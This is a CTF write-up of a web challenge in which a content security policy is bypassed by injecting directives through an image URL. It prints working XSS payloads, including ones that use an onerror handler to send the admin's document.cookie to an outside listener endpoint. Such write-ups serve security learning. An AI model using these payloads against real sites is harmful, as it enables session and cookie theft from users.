I only played a bit of WeCTF (a web-only CTF) since this weekend was pretty busy with holidays, but enjoyed the one challenge I did complete, and thought I’d write it up for later. This is a CSP (content security policy) challenge that uses policy injection. Thanks to the organizers for a fun event!
The prompt for this challenge was as follows:
In other words, we have one website where we enter in our payload.
After we enter in our payload and hit submit, we’ll be taken to a page where the payload executes (so we can test it against ourselves). This next page will have a unique URL, which we canthen pass to this other website, that is essentially an admin bot:
We’ll test out our payload on the first site, and once we have a working PoC, share the URL with the admin bot. You’ll want to make sure that you’re using the same host (NY, etc) for each website.
We’re given the source code for this challenge (and all challenges). Here’s the interesting part:
You can see that it will take the URL of any image we try to load, parse the domain name out of it, and then add that into the Content Security Policy header.
So, for example, if our payload is:
<img src="http://blahblahblah.com" />
The resulting CSP header will be:
Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' http://blahblahblah.com; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'
Policy Injection PoC
As with all things, you shouldn’t blindly trust user input, and the same applies here. What happens if we append something to the end of our image URL? For example, if our payload is:
<img src="http://blahblahblah.com; script-src-elem 'unsafe-inline'" />
Then our CSP header will be:
Content-Security-Policy: default-src 'none'; connect-src 'self'; img-src 'self' http://google.com; script-src-elem 'unsafe-inline'; script-src 'none'; style-src 'self'; base-uri 'self'; form-action 'self'
And just like that, we’ve injected our own policy into the CSP header. There is still an error in the Dev Tools console, but we can still get code to execute that was disallowed previously:
<img src="http://blahblahblah.com; script-src-elem 'unsafe-inline'" /> <script>alert(1)</script>
This will pop an alert window, since we injected the
script-src-elem policy and
<script> tags are now allowed. Yay! Now let’s get a flag.
We’ll need somewhere to send the cookies too, so I set up a listener on Pipedream (previously RequestBins).
In this PoC, I changed the injected policy to
script-src-attr so that I can use the
onerror attribute instead of
<img src="https://<pipedream endpoint>;script-src-attr 'unsafe-inline'" /> <img src="#" onerror=this.src="https://<pipedream endpoint>/?c="+document.cookie />
There’s now two
img lines so let’s talk about that first. The first one allows images to be loaded from my Pipedream cookie listener, and also injects the new
img element passes in a bad
src, and then
onerror, it updates the source to the (now allowlisted) Pipedream endpoint, and appends the cookie on the end.
I submit this PoC in the first website to test it against myself, and it works:
But when I take the URL (shown in this screenshot) and send it to the admin bot, I get no visits to my listener.
What browser is the admin using?
I had tried this on Chrome, and made the mistake of assuming that the admin bot would be using a Chrome-related library.
In any case, it was time to back up and determine which type of browser the admin was using.
If send a basic payload with just an image tag that sends a request to our listener (which we can’t append the cookie to, without adding the CSP policy injection):
We see that the response back says the admin is using Firefox.
So, does our earlier PoC work in Firefox?
Getting our payload to work in Firefox
From that last screenshot, we see
Content Security Policy: Couldn’t process unknown directive 'script-src-attr'
It turns out that Firefox doesn’t know about the
script-src-attr because it’s not supported in all browsers because of differing levels of CSP Level support in browsers.
In any case, I went to the “CSP Browser Compatibility” section of the Mozilla developer docs page linked earlier, and picked a tag that was script-related, and supported by Firefox.
This new tag was
script-src, which I had been avoiding because it already existed in the CSP header.
<img src="http://<endpoint>; script-src 'unsafe-inline';" /> <img src=x onerror=this.src="http://<endpoint>/?c="+document.cookie />
This ended up making my entire PoC easier and I should have tried overwriting existing policies sooner. TIL.
Here’s the same solution copied into the payload website.
We submit the display URL to the admin bot, and wait 30 seconds:
Then we get the flag!